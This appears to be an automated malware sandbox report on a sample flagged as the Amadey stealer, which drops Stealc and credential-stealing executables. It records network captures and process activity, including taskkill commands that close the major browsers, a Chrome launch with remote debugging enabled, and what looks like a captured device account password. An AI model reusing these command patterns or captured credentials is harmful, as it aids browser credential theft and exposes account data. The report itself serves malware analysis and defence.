8e65bdcdafc74384-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2068&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21353&delivery_rate=1379310&cwnd=252&unsent_bytes=0&cid=9b2bfc4a20e11d1c&ts=1086&x=0"
2024-11-22 03:13:04 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 03:13:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:03 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:03 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:03 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4e23fa7b-901e-0048-7ba0-3bb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031303Z-15b8b599d885ffrhhC1TEBtuv000000000yg000000006kna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:13:03 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49921	20.190.177.22	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 03:13:03 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 03:13:04 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 03:12:04 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BL2 x-ms-request-id: af9e09b7-0028-402e-9826-6ff44ab8fa64 PPServer: PPV: 30 H: BL02EPF0001D75F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 03:13:03 GMT Connection: close Content-Length: 1276
2024-11-22 03:13:04 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49923	20.190.177.22	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:03 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-22 03:13:03 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6c 61 6d 67 76 6a 66 63 61 7a 6e 6d 66 6a 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 46 23 72 6e 64 7e 43 73 3d 42 6f 51 55 4c 6d 66 4c 44 68 72 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02lamgvjfcaznmfj</Membername><Password>F#rnd~Cs=BoQULmfLDhr</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-11-22 03:13:06 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Fri, 22 Nov 2024 03:12:04 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_BAY x-ms-request-id: 8e01059c-3d0e-473f-99ab-e7248b1e4931 PPServer: PPV: 30 H: PH1PEPF0001B87A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 03:13:05 GMT Connection: close Content-Length: 17166
2024-11-22 03:13:06 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 34 34 34 38 36 43 45 37 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 32 32 39 38 64 33 64 34 2d 30 65 39 64 2d 34 64 63 66 2d 61 35 30 31 2d 35 37 39 33 30 31 61 37 30 35 37 62 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018801044486CE7</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="2298d3d4-0e9d-4dcf-a501-579301a7057b" LicenseID="3252b20c-d425-4711
2024-11-22 03:13:06 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:04 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:05 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: abaff5aa-901e-0064-6d47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031305Z-178bfbc474bv7whqhC1NYC1fg4000000028g00000000r30x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:05 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Target ID:	0
Start time:	22:11:00
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe20000
File size:	1'888'256 bytes
MD5 hash:	60F886C3617266309AC54C0775B86A1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1695658639.0000000004950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1736452740.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:11:02
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa90000
File size:	1'888'256 bytes
MD5 hash:	60F886C3617266309AC54C0775B86A1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1763961522.0000000000A91000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1723218150.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:11:03
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa90000
File size:	1'888'256 bytes
MD5 hash:	60F886C3617266309AC54C0775B86A1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1765529508.0000000000A91000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1725224135.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:12:00
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa90000
File size:	1'888'256 bytes
MD5 hash:	60F886C3617266309AC54C0775B86A1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2286425843.0000000005160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:12:29
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"
Imagebase:	0x610000
File size:	1'826'816 bytes
MD5 hash:	27FA50C74212925790649267140710F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:12:37
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"
Imagebase:	0x9c0000
File size:	1'731'584 bytes
MD5 hash:	E26B7B214A9BCDADA5B6A91CED4F99B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.2666570442.0000000005220000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3139427650.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:12:44
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe"
Imagebase:	0xf30000
File size:	921'600 bytes
MD5 hash:	01BA490C6ED14545D61671AB153BD4E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:12:44
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:12:44
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:12:45
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"
Imagebase:	0x610000
File size:	1'826'816 bytes
MD5 hash:	27FA50C74212925790649267140710F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2825179151.00000000016E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2828925343.00000000016E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2889608789.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2920452481.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2921483438.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2889719285.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2865846059.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2825415418.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2920033853.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2832268259.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2865633678.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:12:46
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:12:47
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2172,i,4033161327773093289,5311636695156813661,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:12:47
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:12:47
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

